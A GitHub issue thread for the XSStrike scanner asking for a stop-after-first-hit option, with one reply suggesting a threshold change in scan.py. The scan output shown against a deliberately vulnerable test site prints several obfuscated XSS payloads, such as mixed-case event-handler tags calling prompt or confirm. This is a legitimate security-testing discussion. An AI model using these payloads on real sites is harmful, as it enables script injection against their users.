XSStrike icon indicating copy to clipboard operation
XSStrike copied to clipboard

Stop scanner after first successful payload

Open sergioro9 opened this issue 2 years ago • 2 comments

Could we have an option to stop the scanner after the first successful payload. For example:

$ xsstrike -u 'http://testphp.vulnweb.com/search.php' --data 'goButton=go&searchFor=test'

	XSStrike v3.1.5

[~] Checking for DOM vulnerabilities 
[+] WAF Status: Offline 
[!] Testing parameter: goButton 
[-] No reflection found 
[!] Testing parameter: searchFor 
[!] Reflections found: 1 
[~] Analysing reflections 
[~] Generating payloads 
[!] Payloads generated: 3072 
------------------------------------------------------------
[+] Payload: <htmL/+/OnMouSeover%0a=%0aa=prompt,a()> 
[!] Efficiency: 91 
[!] Confidence: 10 
------------------------------------------------------------
[+] Payload: <d3v%0aOnPoiNtereNter+=+confirm()%0dx>v3dm0s 
[!] Efficiency: 92 
[!] Confidence: 10 
------------------------------------------------------------
[+] Payload: <a%0donpointEReNTer%09=%09confirm()%0dx>v3dm0s 
[!] Efficiency: 91 
[!] Confidence: 10 
[~] Progress: 5/3072

I would like to stop after the first successful payload <htmL/+/OnMouSeover%0a=%0aa=prompt,a()> and avoid going through all 3072 generated payloads.

sergioro9 avatar May 25 '22 19:05 sergioro9

Sometimes xsstrike asks [?] Would you like to continue scanning? [y/N] after the first successful payload. So i run

yes n | xsstrike -u ...

which automatically stops after the first successful match. However xssstrike dose not always shows such question. How to always get that question after the first successful match?

sergioro9 avatar May 25 '22 19:05 sergioro9

in file modes/scan.py (line 105) update this line from if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 90): to : if bestEfficiency >= 90 or (vect[0] == '\\' and bestEfficiency >= 90):

moTorky avatar Jul 09 '23 08:07 moTorky